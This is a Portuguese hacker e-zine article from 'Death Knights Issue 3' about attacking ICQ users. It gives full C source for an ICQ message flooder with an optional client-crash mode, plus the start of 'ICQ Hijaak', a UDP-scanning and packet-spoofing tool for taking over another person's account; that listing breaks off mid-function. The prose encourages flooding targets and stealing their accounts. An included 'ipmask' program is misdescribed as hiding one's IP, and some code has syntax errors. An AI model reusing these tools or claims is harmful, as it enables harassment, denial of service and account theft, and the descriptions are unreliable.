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Especial ICQ
Death Knights Issue 3
by Cacaio
Voce usa icq e nao sabe como esconder o IP do info do icq? Bem, eh mails facil do que voce imagina, tendo em vista de que aquela opcao do icq98 nao funciona.
Basta digitar:
IPMASK 127.0.0.1 127.0.0.1Dificil, neh? Seu pi no icq vai ficar como 127.0.0.1, que e' a sua maquina (oooohhhh) independente do seu ip. Se o cara pegar seu ip pra nukes, icq hijaak ou sei la o que, ele vai derrubar a ele mesmo.
Aih vai o ipmask pra vc fiote...
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------
/*
* Typical compilation command for Linux:
* cc ipmask.c -Wall -O -m486 -N -o ipmask -s
*/
#define MYNAME "ipmask"
#include <stdio.h>
void Usage(void) {
fprintf (stderr,
"USAGE: %s <decimal netmask> <decimal IP address>\n",
MYNAME);
}
int main(int argc, char *argv[])
{
unsigned long netmask, ipaddr, netaddr, broadcast;
int in[4], j;
unsigned char bc[4],na[4];
if (3 != argc) {
Usage();
exit(1);
}
if (4 != sscanf(argv[1],"%d.%d.%d.%d", &in[0],&in[1],&in[2],&in[3])) {
fprintf (stderr,"Invalid netmask \"%s\".\n", argv[1]);
Usage();
exit(1);
}
for (j=0; j<4; ++j) {
if (in[j]<0 || in[j]>255) {
fprintf (stderr,
"Invalid octet %d in netmask \"%s\".\n",
j+1, argv[1]);
Usage();
exit(1);
}
}
netmask = in[3] + 256 * (in[2] + 256 * (in[1] + 256 * in[0]));
if (4 != sscanf(argv[2],"%d.%d.%d.%d", &in[0],&in[1],&in[2],&in[3])) {
fprintf (stderr,"Invalid IP address \"%s\".\n", argv[2]);
Usage();
exit(1);
}
for (j=0; j<4; ++j) {
if (in[j]<0 || in[j]>255) {
fprintf (stderr,
"Invalid octet %d in IP address \"%s\".\n",
j+1, argv[1]);
Usage();
exit(1);
}
}
ipaddr = in[3] + 256 * (in[2] + 256 * (in[1] + 256 * in[0]));
broadcast = ipaddr | (~ netmask);
bc[0] = broadcast / 256 / 256 / 256;
bc[1] = (broadcast / 256 / 256) % 256;
bc[2] = (broadcast / 256) % 256;
bc[3] = broadcast % 256;
netaddr = ipaddr & netmask;
na[0] = netaddr / 256 / 256 / 256;
na[1] = (netaddr / 256 / 256) % 256;
na[2] = (netaddr / 256) % 256;
na[3] = netaddr % 256;
printf ("%d.%d.%d.%d %d.%d.%d.%d\n",
bc[0], bc[1], bc[2], bc[3], na[0], na[1], na[2], na[3]);
exit(0);
return 0;
}
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------Voce aprendeu a proteger seu IP no icq. Mas proteger do que? De programas como esse aqui o'! E' o ICQ flooder. Ele manda quantas mensagens vc quiser em UIN's diferentes. O ponto fraco e' que voce tem que saber o IP do destino e o programa ainda fica procurando a porta do ICQ. Se o bixo proteger o IP como dito acima, no way, forget nigga.
Segurae o proggie...
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------
/*
* ICQ Message Flooder by enkil^ and irQ
*/
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <arpa/inet.h>
/*
* Un Comment this if you would like to crash the other users ICQ instead
* Will not work on icq98, must re-compile to use.
*/
//#define CRASH 16
#define VER "v1.0"
#define UIN(c,b,a) ((a << 16) | (b << 8) | c)
unsigned char i_header[] = {
0x8C,0xDD,0x33,0x00,0x02,0x00,0xEE,0x07,
0x00,0x00,0x8C,0xDD,0x33,0x00,0x01,0x00,
0x06,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x82,0xD7,0xF3,0x20,0x82,0xD7,0xF3,0x20,
0x09,0x04,0x00,0x00,0x04,0x00,0x00,0x00,
0xED,0xFF,0xFF,0xFF
};
int ScanPort(char *ipaddr, int StartIP, int EndIP) {
struct sockaddr_in sin;
int sock,x,y;
unsigned long uin;
printf("Scanning Ports");
for (x=StartIP;x<=EndIP;++x) {
if (!(sock = socket(AF_INET, SOCK_STREAM, 0))) {
printf("Error: Unable to connect\n");
return -1;
}
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(ipaddr);
sin.sin_port = htons(x);
if (connect(sock, (struct sockaddr*)&sin,sizeof(sin))!=-1) {
close(sock);
printf("Port %d Open! Flooding...\n",x);
fflush(stdout);
return x;
}
printf(".");
fflush(stdout);
}
printf("\n");
return -1;
}
void Usage(char *EXEName) {
printf("* ICQ Message Flooder %s by enkil^ and irQ\n",VER);
printf("* Usage: %s <ip> <number of messages> <start port> <end port>\n",EXEName);
printf("* Arguments:\n");
printf("* <ip> - IP Address of user to flood\n");
printf("* <number of messages> - Number of Messages to flood user with\n");
printf("* <start port> - port to start scanning at\n");
printf("* <end port> - port at which to end scanning\n");
}
void main(int argc, char *argv[]) {
struct sockaddr_in sin;
int sock,x,y;
unsigned long uin;
int Port;
if (argc < 5) {
Usage(argv[0]);
exit(1);
}
printf("ICQ Message Flooder %s by enkil^ and irQ\n",VER);
fflush(stdout);
srand(time());
Port = ScanPort(argv[1],atoi(argv[3]),atoi(argv[4]));
if (Port == -1) {
printf("No ICQ Port Found =(\n");
return;
}
printf("Flooding %s on port %d, %d times -\n",argv[1], Port, atoi(argv[2]));
fflush(stdout);
for (y=0;y<atoi(argv[2]);++y) {
if (!(sock = socket(AF_INET, SOCK_STREAM, 0))) {
printf("Error: Unable to creat socket, Exiting.\n");
exit(1);
}
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = inet_addr(argv[1]);
sin.sin_port = htons(Port);
for (x=0;x<3;++x) i_header[x] = i_header[x+10] = (rand() % 256);
for (x=0;x<6;++x) i_header[18+x] = (rand() % 256);
#ifdef CRASH
i_header[CRASH]=0x07;
#endif
if (connect(sock, (struct sockaddr*)&sin,sizeof(sin))==-1) {
printf("Error Connecting to Socket\n");
return;
}
write(sock, "\x2E\x00", 2);
write(sock, &i_header,sizeof(i_header));
write(sock, "\x28\x00", 2);
uin = UIN(i_header[0],i_header[1],i_header[2]);
printf("Message Sent, UIN = %d\n",uin);
fflush(stdout);
close(sock);
}
printf("Done!\n");
exit(0);
}
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------Ta bom, mas qual a graca disso, icq flood, se o cara continua a usar o icq dele bonitinho depois e ainda por cima nao sofreu dano nenhum e nao ta ligando a minima pra voce.
Que tal voce pegar a senha do cara e ficar com a UIN dele? Legal, uh? Exatamente pra isso que tem esse programinha aqui, o icq hijaak. Ele faz isso aih que eu falei. Mas tem o porem... voce tambem precisa do ip do cara. Mas como pouca gente protege o ip no icq, nao e' grande problema. Para funcionar o dono do UIN precisa estar logado no sistema do icq(se voce nao sabe ele conecta num servidor e da um login). Se voce souber usar bem o icq hijaak, voce pode fazer tanta merda na conta do bixo que ela pode ser ate' cancelada.
Ta aih o code...
-------xX !!! CuT HeRe !!! !!! CuT HeRe !!! !!! CuT HeRe !!! Xx-------
/*
. ICQ Hijaak
. Version 1C
.
. Author: wumpus@innocent.com
. Copyright (c) 1998 Wolvesbane
.
. By downloading or compiling this program, you agree to the terms of this
. license. If you do not agree with any of these terms you MUST delete this
. program immediately from all storage areas (including browser caches).
. (A) You agree not to use this program in any way that would constitute a
. violate of any applicable laws. This may included federal laws if you
. live in the United States and similar laws regarding computer security
. in other countries.
. (B) You agree to hold the authors (referred to collective as Wolvesbane)
. harmless in any damages that result due to your possession or use of
. this software.
. (C) Wolvesbane does not claim that this program implements any functions.
. As the saying goes, "You get what you pay for." -- And you didn't pay
. anything for this.
. (D) This software is FREE for _NON-COMMERCIAL_ use. You may not use this
. program for any commercial use (or any other activity which makes you
. money with the assistance of this program ). The author is not
. interested in commercial use of this program (and cannot think of what
. commercial use would consist of ).
. (E) This program was created using Linux with IP-Masquerading to run the
. ICQ program unmodified and without any dissassembly. The testing
. was done with volunteers, and with a second computer logged into the
. ICQ network. No ICQ users were harmed in the creation or testing of
. this program.
. (F) This copyright applies only to the code written by Wolvesbane, and not
. to anything included under Fair Use.
. (G) Please note that if you use ANY sections of this code in your work,
. (which I expressly allow as long as it is NON-COMMERCIAL), you are
. obligated to give me some credit in your comments (if it is a source
. file ) or in a string constant if it is a binary file. If you do not
. wish to do so, you may NOT include ANY portion of this file in your
. own work.
*/
/*
* UPDATES, for May 31, 1998
*
* I notified Mirabilis about this bug about a month ago (which from
* what I recall is the semi-official delay to allow a fix ).
* In that time, Mirabilis has gone from DLL 1.22 to DLL 1.26. This
* exploit has been tested again 1.26 and still works. *ooops*!
* This exploit has rather simplistic UDP scanning code... if it doesn't
* work (ie, against .se hosts ), then you can't hijaak them. Sorry, but
* I just don't care enough.
*
* Lastly, even a Windows user can get anyone's IP from ICQ by sending a
* message to their UIN, and doing a netstat.
*
* With the acquistion of Mirabilis and the ICQ protocol by AOL, I will
* no longer be playing with the ICQ protocol. Prior to that actual event
* you might contact me with questions on this program.
*/
/*
. I am indebted to the author of ICQSNIFF.C, for his clear description of
. the ICQ protocol (although it has since changed). And for the idea as
. well.
.
. Some information came from anonymous sources and Usenet postings which
. I didn't jot down the author. I apologize to any author who sees his/her
. ideas in here. None of this code was "stolen".
.
*/
/* To quote Arik:
Arik Vardi (arik@ICQ.COM)
Mon, 15 Dec 1997 13:55:16 -0500
Thanks for the vote of confidence.
Actualy, we don't publish the protocol since it's a work in progress
and
we still have pretty major changes from version to version.
Password encryption will be addressed in the next client release,
spoofing client messages has already been addressed in our new version
- ICQ98a, (which is not what you are using) and should not be possible
once we phase out older clients (hopfuly by the end of this month).
We apreciate your pointing out vulnrabilities to us and will do our
best
to fix them in future releases.
*/
/*
. Guess what, Arik. You *lied* about fixing spoofing -- and this proves it.
*/
#include <arpa/inet.h>
#include <netdb.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
int MultiResolve( char * hostname,
int * addr_count,
struct in_addr ** addresses );
enum { FAILURE = -1, SUCCESS = 0 };
typedef unsigned short int u16;
typedef unsigned long int u32;
typedef unsigned char u8;
#define byte(v,o) (*((u8 *)(&(v))+(o)))
#define word(v,o) (*((u16 *)((unsigned char *)(&(v))+(o)) ))
#define dword(v,o) (*((u32 *)((unsigned char *)(&(v))+(o)) ))
unsigned char icq_check_data[256] = {
0x0a, 0x5b, 0x31, 0x5d, 0x20, 0x59, 0x6f, 0x75,
0x20, 0x63, 0x61, 0x6e, 0x20, 0x6d, 0x6f, 0x64,
0x69, 0x66, 0x79, 0x20, 0x74, 0x68, 0x65, 0x20,
0x73, 0x6f, 0x75, 0x6e, 0x64, 0x73, 0x20, 0x49,
0x43, 0x51, 0x20, 0x6d, 0x61, 0x6b, 0x65, 0x73,
0x2e, 0x20, 0x4a, 0x75, 0x73, 0x74, 0x20, 0x73,
0x65, 0x6c, 0x65, 0x63, 0x74, 0x20, 0x22, 0x53,
0x6f, 0x75, 0x6e, 0x64, 0x73, 0x22, 0x20, 0x66,
0x72, 0x6f, 0x6d, 0x20, 0x74, 0x68, 0x65, 0x20,
0x22, 0x70, 0x72, 0x65, 0x66, 0x65, 0x72, 0x65,
0x6e, 0x63, 0x65, 0x73, 0x2f, 0x6d, 0x69, 0x73,
0x63, 0x22, 0x20, 0x69, 0x6e, 0x20, 0x49, 0x43,
0x51, 0x20, 0x6f, 0x72, 0x20, 0x66, 0x72, 0x6f,
0x6d, 0x20, 0x74, 0x68, 0x65, 0x20, 0x22, 0x53,
0x6f, 0x75, 0x6e, 0x64, 0x73, 0x22, 0x20, 0x69,
0x6e, 0x20, 0x74, 0x68, 0x65, 0x20, 0x63, 0x6f,
0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x20, 0x70, 0x61,
0x6e, 0x65, 0x6c, 0x2e, 0x20, 0x43, 0x72, 0x65,
0x64, 0x69, 0x74, 0x3a, 0x20, 0x45, 0x72, 0x61,
0x6e, 0x0a, 0x5b, 0x32, 0x5d, 0x20, 0x43, 0x61,
0x6e, 0x27, 0x74, 0x20, 0x72, 0x65, 0x6d, 0x65,
0x6d, 0x62, 0x65, 0x72, 0x20, 0x77, 0x68, 0x61,
0x74, 0x20, 0x77, 0x61, 0x73, 0x20, 0x73, 0x61,
0x69, 0x64, 0x3f, 0x20, 0x20, 0x44, 0x6f, 0x75,
0x62, 0x6c, 0x65, 0x2d, 0x63, 0x6c, 0x69, 0x63,
0x6b, 0x20, 0x6f, 0x6e, 0x20, 0x61, 0x20, 0x75,
0x73, 0x65, 0x72, 0x20, 0x74, 0x6f, 0x20, 0x67,
0x65, 0x74, 0x20, 0x61, 0x20, 0x64, 0x69, 0x61,
0x6c, 0x6f, 0x67, 0x20, 0x6f, 0x66, 0x20, 0x61,
0x6c, 0x6c, 0x20, 0x6d, 0x65, 0x73, 0x73, 0x61,
0x67, 0x65, 0x73, 0x20, 0x73, 0x65, 0x6e, 0x74,
0x20, 0x69, 0x6e, 0x63, 0x6f, 0x6d, 0x69, 0x6e };
#define MAX_NUM_ADDRESSES 255
int Resolve( char * hostname, struct in_addr * addr ) {
struct hostent * hinfo;
(void)memset( (void *)addr, 0, sizeof( struct in_addr ));
if ( inet_aton( hostname, addr) ) return SUCCESS;
if ( !(hinfo = gethostbyname( hostname ) ) ) return FAILURE;
(void)memcpy( (void *)addr, (void *)hinfo->h_addr,
sizeof(struct in_addr )); return SUCCESS; }
int MultiResolve( char * hostname, int * addr_count,
struct in_addr ** addresses ) {
int host_count;
int i;
char * p;
struct in_addr address;
struct hostent * hinfo;
if ( inet_aton( hostname, &address ) ) {
p = (char *)malloc(sizeof(address));
if ( !p ) {
fprintf(stderr,"MultiResolve: Allocation failed!\n");
return FAILURE;
}
(void)memcpy((void *)p,(void *)&address, sizeof(address) );
*addr_count = 1;
*addresses = (struct in_addr *)p; return SUCCESS; }
if ( !(hinfo = gethostbyname(hostname) ) ) return FAILURE;
if ( hinfo->h_length != sizeof( struct in_addr ) ) {
fprintf(stderr,"MultiResolve: h_length (%d) not equal "\
"to size of struct inaddr (%d) ",
hinfo->h_length, sizeof(struct in_addr) );
return FAILURE;
}
host_count = 0;
for (i = 0; i < MAX_NUM_ADDRESSES; i++ ) {
struct in_addr * addr_ptr;
addr_ptr = (struct in_addr *)hinfo->h_addr_list[i];
if ( !addr_ptr )
break;
host_count++;
}
p = (char *)malloc( host_count * hinfo->h_length );
if ( !p ) {
fprintf(stderr,"MultiResolve: Failed to allocate %d bytes\n",
host_count * hinfo->h_length );
return FAILURE;
}
*addresses = (struct in_addr *)p;
for ( i = 0; i < host_count; i++ ) {
(void)memcpy( (void *)p,(void *)hinfo->h_addr_list[i],
hinfo->h_length ); p += hinfo->h_length; }
*addr_count = host_count; return SUCCESS; }
#define IP_VERS 0
#define IP_TOS 1
#define IP_TOTLEN 2
#define IP_ID 4
#define IP_FLAGS 6
#define IP_TIMETOLIVE 8
#define IP_PROTOCOL 9
#define IP_CHECKSUM 10
#define IP_SRC 12
#define IP_DST 16
#define IP_END 20
#define UDP_SOURCE 0
#define UDP_DEST 2
#define UDP_LENGTH 4
#define UDP_CHECKSUM 6
#define UDP_END 8
#define UCHDR_SOURCE 0
#define UCHDR_DEST 4
#define UCHDR_PROTOCOL 9
#define UCHDR_UDPLEN 10
#define UCHDR_END 12
#define ICMP_TYPE 0
#define ICMP_CODE 1
#define ICMP_CHECKSUM 2
#define ICMP_END 4
u16 cksum( u16 * buf, int numWords ) {
u32 sum;
sum = 0; while ( numWords -- ) { sum += *(buf++); }
sum = ( sum >> 16) + ( sum & 0xffff ); sum += ( sum >> 16 );
return ~sum ; }
void make_ip_hdr( u8 * packet, int length, u8 protocol,
u16 id, u16 flags, struct in_addr me,
struct in_addr you, u8 ttl ) {
memset( packet, 0, IP_END );
byte(*packet, IP_VERS ) = 0x45;
word(*packet, IP_TOTLEN ) = htons( length );
byte(*packet, IP_TIMETOLIVE ) = ttl;
byte(*packet, IP_PROTOCOL ) = protocol;
word(*packet, IP_ID ) = htons( id );
word(*packet, IP_FLAGS ) = htons( flags );
dword(*packet,IP_SRC ) = *((u32 *)&me);
dword(*packet,IP_DST ) = *((u32 *)&you);
word(*packet, IP_CHECKSUM ) = cksum( (u16 *)packet, IP_END/2 ); }
void make_udp_hdr( u8 * packet, int udplength, u16 sport,
u16 dport ) {
u8 * udp;
static u8 chdr[UCHDR_END];
u32 pchecksum;
memset( chdr, 0, UCHDR_END );
udp = packet + ( ( byte(*packet, IP_VERS ) & 0x0F ) * 4 );
memset( udp, 0, UDP_END );
word(*udp, UDP_SOURCE ) = htons( sport );
word(*udp, UDP_DEST ) = htons( dport );
word(*udp, UDP_LENGTH ) = htons( udplength );
memcpy( chdr + UCHDR_SOURCE, packet + IP_SRC, 8 );
byte( *chdr, UCHDR_PROTOCOL ) = byte( *packet, IP_PROTOCOL );
word( *chdr, UCHDR_UDPLEN ) = word( *udp, UDP_LENGTH );
pchecksum = ( ~cksum( (u16 *)&chdr, UCHDR_END / 2 ) ) & 0xFFFF;
if ( udplength & 1 ) { byte( *udp, udplength + 1 ) = 0; }
pchecksum += ( ~cksum((u16 *)udp, udplength/ 2
+ (udplength&1)) ) & 0xFFFF; pchecksum += ( pchecksum >> 16 );
word( *udp, UDP_CHECKSUM ) = (u16)~pchecksum ; }
int CreateRawSocket( void )
{
int s;
int option;
s = socket( AF_INET, SOCK_RAW, IPPROTO_RAW );
if ( s < 0 ) { perror("Socket:"); exit(-1); }
option = 1;
if ( setsockopt( s, IPPROTO_IP, IP_HDRINCL,
(char *)&option, sizeof( option ) ) < 0 ) {
perror("Setting IP_HDRINCL"); exit(0); }
return s; }
int GetLocalAddress( struct in_addr remote, struct in_addr * local )
{
struct sockaddr_in laddress;
struct sockaddr * laddr = (struct sockaddr *)&laddress;
struct sockaddr_in raddress;
struct sockaddr * raddr = (struct sockaddr *)&raddress;
int s;
int err;
int len;
s = socket( AF_INET, SOCK_DGRAM, IPPROTO_UDP );
if ( s < 1 ) {
return FAILURE;
}
raddress.sin_port = htons( 1984 );
raddress.sin_family = AF_INET;
raddress.sin_addr = remote;
err = connect(s, raddr, sizeof(raddress ));
if ( err < 0 ) {
return FAILURE;
}
len = sizeof(laddress);
err = getsockname(s, laddr, &len );
if ( err < 0 ) {
return FAILURE;
}
*local = laddress.sin_addr;
close(s);
return SUCCESS;
}
int CreateICMPSocket( void )
{
int s;
s = socket( AF_INET, SOCK_RAW, IPPROTO_ICMP );
if ( s < 1 )
return FAILURE;
return s;
}
int SendUDP( int s, struct in_addr source, struct in_addr dest,
u16 sport, u16 tport )
{
static u8 packet[576];
struct sockaddr_in raddress;
struct sockaddr * raddr = (struct sockaddr *)&raddress;
int psize;
int err;
raddress.sin_port = htons( 1984 );
raddress.sin_family = AF_INET;
raddress.sin_addr = dest;
psize = IP_END + UDP_END + 6;
make_ip_hdr( packet, psize, IPPROTO_UDP, 0x666, 0,
source, dest, 0x7F );
make_udp_hdr( packet, psize - IP_END, sport, tport);
err = sendto( s, packet, psize, 0,raddr, sizeof(raddress));
if ( err != psize ) {
perror("Sending");
return FAILURE;
}
return SUCCESS;
}
const int verify_secs = 2;
int VerifyUDPPort( struct in_addr addr, u16 port )
{
int s_icmp;
struct timeval start_time, end_time, wait_time;
fd_set rdfs;
int err;
static u8 packet[1500];
struct sockaddr junkaddr;
int junksize;
u8 * icmphdr;
u8 * fiphdr;
u8 * fudphdr;
int len;
int got_unreach;
struct in_addr localaddr;
int rawsock;
if ( GetLocalAddress(addr, &localaddr) == FAILURE ) {
perror("GetLocalAddress"); exit(-1); }
s_icmp = CreateICMPSocket();
if ( s_icmp == FAILURE ) { perror("Getting ICMP socket"); exit(-1); }
rawsock = CreateRawSocket();
if ( rawsock < 0 ) { perror("Getting Raw socket"); exit(-1); }
FD_ZERO( &rdfs ); FD_SET( s_icmp, &rdfs );
if ( SendUDP(rawsock, localaddr, addr, 0x1984, port ) == FAILURE ) {
perror("Sending UDP packet"); exit(-1); }
got_unreach = 0; gettimeofday( &start_time, NULL );
do { wait_time.tv_usec = 0; wait_time.tv_sec = verify_secs;
err = select( s_icmp+1, &rdfs, NULL, NULL, &wait_time );
if ( -1 == err ) { perror("VerifyUDPPort - Select"); exit(-1); }
if ( !err ) break;
junksize = sizeof( struct sockaddr );
err = recvfrom( s_icmp, packet, 1500, 0,
&junkaddr, &junksize );
if ( -1 == err ) { perror("VerifyUDPPort - recvfrom: ");
exit(-1); }
if ( (byte(*packet,IP_PROTOCOL ) != IPPROTO_ICMP ) ||
(dword(*packet, IP_SRC ) != *((u32 *)&addr) ) )
goto check_timeout;
len = ( byte(*packet, 0 ) & 0x0F ) * 4;
icmphdr = packet + len;
if ( (byte(*icmphdr,ICMP_TYPE ) != 3 ) ||
(byte(*icmphdr,ICMP_CODE ) != 3 ) )
goto check_timeout;
fiphdr = icmphdr + ICMP_END + 4
len = ( byte(*fiphdr, 0 ) & 0x0F ) * 4;
if ( (byte(*fiphdr,IP_PROTOCOL ) != IPPROTO_UDP ) ||
( (dword(*fiphdr, IP_DST ) != *((u32 *)&addr) ) ) )
goto check_timeout;
fudphdr = fiphdr + len;
if ( word(*fudphdr, UDP_DEST ) == htons( port ) ) {
got_unreach = 1; break; }
check_timeout:
gettimeofday( &end_time, NULL );
} while ( ( end_time.tv_sec - start_time.tv_sec ) < verify_secs );
close( s_icmp ); close( rawsock);
if ( got_unreach ) return FAILURE;
else return SUCCESS;
}
typedef struct foobar
{
int next;
int prev;
u16 rem_port;
int times;
} port_info;
#define MAX_BURST 128
#define UNUSED_HEAD MAX_BURST + 1
#define UNUSED_TAIL MAX_BURST + 2
#define LIVE_HEAD MAX_BURST + 3
#define LIVE_TAIL MAX_BURST + 4
#define FIRST_LPORT 55000
#define SEND_COUNT 3
#define NEXT(i) List[(i)].next
#define PREV(i) List[(i)].prev
#define PORT(i) List[(i)].rem_port
#define TIMES(i) List[(i)].times
int UDPScan( struct in_addr addr, u16 start, u16 end, u16 * tport )
{
int unused_head;
int unused_tail;
int live_head;
int live_tail;
int i;
port_info List[ LIVE_TAIL + 1 ];
int Current[ MAX_BURST ];
int cur_min, cur_max;
int now_port;
int delay;
int my_port;
int cur_send;
struct timeval wait_time;
fd_set rdfs;
int err;
int s_icmp, rawsock;
struct in_addr localaddr;
*tport = 0;
if ( GetLocalAddress(addr, &localaddr) == FAILURE ) {
perror("GetLocalAddress"); return FAILURE; }
s_icmp = CreateICMPSocket();
if ( s_icmp == FAILURE ) {
perror("Getting ICMP socket"); return FAILURE; }
rawsock = CreateRawSocket();
if ( rawsock < 0 ) {
perror("Getting Raw socket"); return FAILURE; }
FD_ZERO( &rdfs );
FD_SET( s_icmp, &rdfs );
List[ LIVE_TAIL ].next = -1; List[ LIVE_TAIL ].prev = LIVE_HEAD;
List[ LIVE_TAIL ].rem_port = 0; List[ LIVE_HEAD ].prev = -1;
List[ LIVE_HEAD ].next = LIVE_TAIL; List[ LIVE_HEAD ].rem_port = 0;
List[ UNUSED_TAIL ].next = -1; List[ UNUSED_TAIL ].prev = UNUSED_HEAD;
List[ UNUSED_TAIL ].rem_port = 0; List[ UNUSED_HEAD ].prev = -1;
List[ UNUSED_HEAD ].next = UNUSED_TAIL;
List[ UNUSED_HEAD ].rem_port = 0;
for ( i = 0; i < MAX_BURST ; i++ ) {
PREV( i ) = PREV( UNUSED_TAIL ); NEXT( i ) = UNUSED_TAIL;
NEXT( PREV( i ) ) = i; PREV( NEXT( i ) ) = i; PORT( i ) = 0;
TIMES( i ) = SEND_COUNT; }
now_port = start;
cur_min = now_port;
cur_max = MAX_BURST;
my_port = FIRST_LPORT;
cur_send = 16;
while ( 1 ) {
int cur;
int cnt;
cur_max = cur_send;
cur_min = now_port;
cur = List[ LIVE_HEAD ].next;
cnt = 0;
while ( NEXT(cur) != -1 ) {
if (!cur_max ) {
break;
}
cnt++;
if ( SendUDP(rawsock, localaddr, addr,
my_port, PORT(cur) ) == FAILURE ) {
perror("Sending UDP packet");
return FAILURE;
}
cur_max--;
TIMES(cur)--;
cur = NEXT(cur);
if ( NEXT(cur) > LIVE_TAIL ) {
printf("Ugh! %d \n", NEXT(cur) );
exit(-1);
}
}
for ( i = 0; i < cur_max ; i ++ ) {
int node;
if ( cur_min > end )
break;
node = NEXT( UNUSED_HEAD );
if ( -1 == NEXT( node ) )
break;
NEXT( UNUSED_HEAD ) = NEXT( node );
PREV( NEXT(node) ) = UNUSED_HEAD;
PREV( node ) = PREV( LIVE_TAIL );
NEXT( node ) = LIVE_TAIL;
NEXT( PREV( node ) ) = node;
PREV( NEXT( node ) ) = node;
PORT( node ) = cur_min + i;
if ( SendUDP(rawsock, localaddr, addr,
my_port, cur_min+i ) == FAILURE ) {
perror("Sending UDP packet");
return FAILURE;
}
Current[ i ] = node;
}
if ( ( now_port >= end ) &&
( !cnt ) ) {
printf("Found nothing!\n");
return SUCCESS;
}
now_port += cur_max;
cnt = 0;
while ( 1 ) {
int junksize;
static struct sockaddr junkaddr;
static u8 packet[1500];
int len;
u8 * icmphdr, * fiphdr, *fudphdr;
int got_port;
int cur;
wait_time.tv_usec = 0;
wait_time.tv_sec = 5;
FD_SET( s_icmp, &rdfs );
err = select( s_icmp+1, &rdfs, NULL, NULL, &wait_time ); if ( -1 == err ) {
perror("UDPSCAN - Select");
return FAILURE;
}
if ( !err ) {
break;
}
junksize = sizeof( struct sockaddr );
err = recvfrom( s_icmp, packet, sizeof(packet), 0,
&junkaddr, &junksize );
if ( -1 == err ) {
perror("UDPSCAN - recvfrom: ");
exit(-1);
}
if ( (byte(*packet,IP_PROTOCOL ) != IPPROTO_ICMP ) ||
(dword(*packet, IP_SRC ) != *((u32 *)&addr) ) )
continue;
len = ( byte(*packet, 0 ) & 0x0F ) * 4;
icmphdr = packet + len;
if ( (byte(*icmphdr,ICMP_TYPE ) != 3 ) ||
(byte(*icmphdr,ICMP_CODE ) != 3 ) )
continue;
fiphdr = icmphdr + ICMP_END + 4
len = ( byte(*fiphdr, 0 ) & 0x0F ) * 4;
if ( (byte(*fiphdr,IP_PROTOCOL ) != IPPROTO_UDP ) ||
( (dword(*fiphdr, IP_DST ) !=
*((u32 *)&addr) ) ) )
continue;
fudphdr = fiphdr + len;
got_port = ntohs( word(*fudphdr, UDP_DEST ) ) ;
if ( ( got_port >= cur_min ) &&
( got_port < (cur_min+cur_max) ) ) {
cur = Current[ got_port - cur_min ];
PREV( NEXT(cur) ) = PREV( cur );
NEXT( PREV(cur) ) = NEXT( cur );
PREV( cur ) = PREV( UNUSED_TAIL );
NEXT( cur ) = UNUSED_TAIL;
NEXT( PREV( cur ) ) = cur;
PREV( NEXT( cur ) ) = cur;
cnt++;
continue;
}
cur = NEXT( LIVE_HEAD );
while ( NEXT(cur) != -1 ) {
if ( PORT(cur) == got_port ) {
PREV( NEXT(cur) ) = PREV( cur );
NEXT( PREV(cur) ) = NEXT( cur );
PREV( cur ) = PREV( UNUSED_TAIL );
NEXT( cur ) = UNUSED_TAIL;
NEXT( PREV( cur ) ) = cur;
break;
}
cur = NEXT(cur);
}
if ( NEXT(cur) == -1 ) {
printf("RESPONSE FOR PORT %d UNEXPECTED! \n",
got_port);
} else {
cnt++;
}
}
printf("[UDP Scan working] Got %d responses \n", cnt );
if ( cnt < ( (cur_send/4) * 3 ) ) {
cur_send /= 2;
if ( cur_send < 16 ) {
cur_send = 16;
}
} else {
cur_send *= 2;
if ( cur_send > MAX_BURST ) {
cur_send = MAX_BURST;
} } cur = NEXT( LIVE_HEAD );
while ( NEXT(cur) != -1 ) {
if (!TIMES(cur) ) {
printf("SCORE! Port is %d \n",PORT(cur));
close( s_icmp );
close( rawsock);
*tport = PORT(cur);
return SUCCESS;
}
cur = NEXT(cur);
}
}
close( s_icmp );
close( rawsock);
return SUCCESS;
}
#define COMMAND_CHANGEPASSWORD 0x049C
#define COMMAND_LOGOFF 0x0438
#define RESPONSE_ERROR 0x00F0
int WritePacket(u8 * data_ptr,
int * size,
char * format,
... )
{
u8 * ptr;
va_list ap;
u32 dword_param;
u16 word_param;
u8 byte_param;
u8 * string_param;
int string_length;
int * data_length;
ap = va_start( ap, format );
ptr = data_ptr;
while ( *format ) {
switch ( *format++ ) {
case 'L':
dword_param = va_arg(ap, u32 );
*(ptr++) = dword_param & 0xFF;
*(ptr++) = (dword_param >> 8 ) & 0xFF;
*(ptr++) = (dword_param >> 16) & 0xFF;
*(ptr++) = (dword_param >> 24) & 0xFF;
break;
case 'W':
word_param = va_arg(ap, u16 );
*(ptr++) = word_param & 0xFF;
*(ptr++) = (word_param >> 8 ) & 0xFF;
break;
case 'B':
byte_param = va_arg(ap, u8 );
*(ptr++) = byte_param;
break;
case 'S':
string_param = va_arg(ap, u8 * );
string_length = strlen( string_param ) + 1;
*(ptr++) = (string_length ) & 0xFF;
*(ptr++) = (string_length >> 8) & 0xFF;
memcpy( ptr, string_param, string_length );
ptr += string_length;
break;
case 'D':
data_length = va_arg(ap, int * );
string_param = va_arg(ap, u8 * );
memcpy( ptr, string_param , *data_length );
ptr += *data_length;
break;
default:
fprintf(stderr,"Invalid type %c \n", *(format-1) );
return FAILURE;
}
}
*size = (ptr - data_ptr );
return SUCCESS;
}
u32 icq_uin = -1;
u16 icq_seq = 0;
u16 icq_seq2 = 0;
#define ICQ4_VER 0
#define ICQ4_RANDOM 2
#define ICQ4_ZERO 4
#define ICQ4_COMMAND 6
#define ICQ4_SEQ 8
#define ICQ4_SEQ2 10
#define ICQ4_UID 12
#define ICQ4_CHECK 16
#define ICQ4_END 20
void create_icq4_hdr(
u8 * data_ptr,
u16 any_number,
u16 command,
int data_size
)
{
u32 check;
u32 check2;
